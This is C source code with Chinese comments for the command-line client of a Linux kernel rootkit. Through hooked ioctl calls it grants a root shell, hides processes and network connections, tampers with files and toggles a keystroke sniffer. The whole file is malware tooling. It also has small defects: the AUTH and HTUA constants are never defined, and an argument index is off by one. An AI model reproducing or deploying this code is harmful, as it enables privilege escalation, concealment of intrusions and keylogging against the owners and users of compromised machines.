#include <arpa/inet.h>
#include <net/if.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

// 定义默认的shell路径
#define SHELL "/bin/bash"

/**
 * @brief 控制结构体，用于存储命令和参数
 */
struct control {
    unsigned short cmd; // 命令类型
    void *argv;         // 命令参数
};

/**
 * @brief 主函数，程序入口
 * @param argc 参数个数
 * @param argv 参数列表
 * @return int 返回状态码
 */
int main(int argc, char **argv)
{
    int sockfd; // 套接字文件描述符
    struct control args; // 控制结构体实例
    struct sockaddr_in addr; // 地址结构体实例
    struct hostent *host; // 主机信息结构体指针
    unsigned int pid; // 进程ID
    char *bash = SHELL; // shell路径
    char *envp[1] = {NULL}; // 环境变量数组
    char *arg[3] = {SHELL, NULL}; // 执行shell的命令参数

    // 如果参数少于2个，退出程序
    if (argc < 2)
        exit(0);

    // 创建TCP套接字
    sockfd = socket(AF_INET, SOCK_STREAM, 6);
    if (sockfd < 0)
        goto fail; // 如果创建失败，跳转到fail标签

    // 如果第一个参数是"root"
    if (strcmp(argv[1], "root") == 0) {
        // 如果已经是root用户，提示并关闭套接字后退出
        if (geteuid() == 0) {
            printf("You are already root! :)\n\n");
            close(sockfd);
            goto out;
        }

        args.cmd = 3; // 设置命令为3

        // 通过ioctl系统调用进行身份验证
        if (ioctl(sockfd, AUTH, HTUA) == 0) {
            ioctl(sockfd, AUTH, &args);
            ioctl(sockfd, AUTH, HTUA);
        }

        // 如果成功获取root权限，执行shell；否则提示无权限
        if (geteuid() == 0) {
            printf("\e[01;36mYou got super powers!\e[00m\n\n");
            execve(bash, arg, envp);
        } else {
            printf("\e[00;31mYou have no power here! :( \e[00m\n\n");
        }

        goto out; // 跳转到out标签
    }

    // 如果第一个参数是"hide"或"show"
    if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) {
        // 如果参数少于2个，跳转到fail标签
        if (argc < 2)
            goto fail;

        // 如果只有一个参数，隐藏或显示所有连接
        if (argc == 2) {
            args.cmd = 0; // 设置命令为0

            // 通过ioctl系统调用进行身份验证
            if (ioctl(sockfd, AUTH, HTUA) == 0) {
                if (ioctl(sockfd, AUTH, &args) == 0) {
                    if (ioctl(sockfd, AUTH, HTUA) == 0) {
                        printf("\e[01;32mSuccess!\e[00m\n");
                        goto out; // 成功后跳转到out标签
                    }
                }
            }
        } else { // 如果有两个参数，隐藏或显示指定PID的连接
            args.cmd = 1; // 设置命令为1
            pid = (unsigned int)atoi(argv[2]); // 将第二个参数转换为PID
            args.argv = &pid; // 设置命令参数为PID

            // 通过ioctl系统调用进行身份验证
            if (ioctl(sockfd, AUTH, HTUA) == 0) {
                if (ioctl(sockfd, AUTH, &args) == 0) {
                    if (ioctl(sockfd, AUTH, HTUA) == 0) {
                        printf("\e[01;32mSuccess!\e[00m\n");
                        goto out; // 成功后跳转到out标签
                    }
                }
            }
        }
    }

    // 如果第一个参数是"file-tampering"
    if (strcmp(argv[1], "file-tampering") == 0) {
        args.cmd = 2; // 设置命令为2

        // 通过ioctl系统调用进行身份验证
        if (ioctl(sockfd, AUTH, HTUA) == 0) {
            if (ioctl(sockfd, AUTH, &args) == 0) {
                if (ioctl(sockfd, AUTH, HTUA) == 0) {
                    printf("\e[01;32mSuccess!\e[00m\n");
                    goto out; // 成功后跳转到out标签
                }
            }
        }
    }

    // 如果第一个参数是"conn"
    if (strcmp(argv[1], "conn") == 0) {
        // 如果参数少于4个，跳转到fail标签
        if (argc < 4)
            goto fail;

        // 根据第四个参数设置命令为4（hide）或5（show）
        if (strcmp(argv[4], "hide") == 0) {
            args.cmd = 4; // 设置命令为4
        } else if (strcmp(argv[4], "show") == 0) {
            args.cmd = 5; // 设置命令为5
        } else {
            goto fail; // 如果第四个参数不是"hide"或"show"，跳转到fail标签
        }

        // 获取主机信息
        host = gethostbyname(argv[2]);
        if (host == NULL)
            goto fail; // 如果获取主机信息失败，跳转到fail标签

        // 复制主机地址到地址结构体中
        memcpy((void *)&addr.sin_addr, (void *)host->h_addr, host->h_length);
        addr.sin_family = AF_INET; // 设置地址族为IPv4
        addr.sin_port = htons(atoi(argv[3])); // 设置端口号
        args.argv = &addr; // 设置命令参数为地址结构体指针

        // 通过ioctl系统调用进行身份验证
        if (ioctl(sockfd, AUTH, HTUA) == 0) {
            if (ioctl(sockfd, AUTH, &args) == 0) {
                if (ioctl(sockfd, AUTH, HTUA) == 0) {
                    printf("\e[01;32mSuccess!\e[00m\n");
                    goto out; // 成功后跳转到out标签
                }
            }
        }
    }
/*
    这部分代码被注释掉了。它处理UDP协议的连接隐藏和显示功能。与上面的TCP部分类似，但使用不同的命令和端口。
    if (strcmp(argv[1], "udp") == 0) {
        if (argc < 4)
            goto fail;
        if (strcmp(argv[4], "hide") == 0) {
            args.cmd = 6;
        } else if (strcmp(argv[4], "show") == 0) {
            args.cmd = 7;
        } else {
            goto fail;
        }
        host = gethostbyname(argv[2]);
        if (host == NULL)
            goto fail;
        memcpy((void *)&addr.sin_addr, (void *)host->h_addr, host->h_length);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(atoi(argv[3]));
        args.argv = &addr;
        if (ioctl(sockfd, AUTH, HTUA) == 0) {
            if (ioctl(sockfd, AUTH, &args) == 0) {
                if (ioctl(sockfd, AUTH, HTUA) == 0) {
                    printf("\e[01;32mSuccess!\e[00m\n");
                    goto out;
                }
            }
        }
    }*/
    if (strcmp(argv[1], "keysniffer") == 0) {
        if (argc < 3)
            goto fail;

        if (strcmp(argv[2], "start") == 0) {
            args.cmd = 6; // 假设6是启动keysniffer的命令
        } else if (strcmp(argv[2], "stop") == 0) {
            args.cmd = 7; // 假设7是停止keysniffer的命令
        } else {
            goto fail;
        }

        if (ioctl(sockfd, AUTH, HTUA) == 0) {
            if (ioctl(sockfd, AUTH, &args) == 0) {
                if (ioctl(sockfd, AUTH, HTUA) == 0) {
                    printf("\e[01;32mSuccess!\e[00m\n");
                    goto out;
                }
            }
        }
    }
fail: // fail标签，打印失败信息并关闭套接字
    printf("\e[01;31mFailed!\e[00m\n");
out: // out标签，关闭套接字并返回0表示程序结束
    close(sockfd); // 关闭套接字文件描述符
    return 0; // 返回0表示程序正常结束
}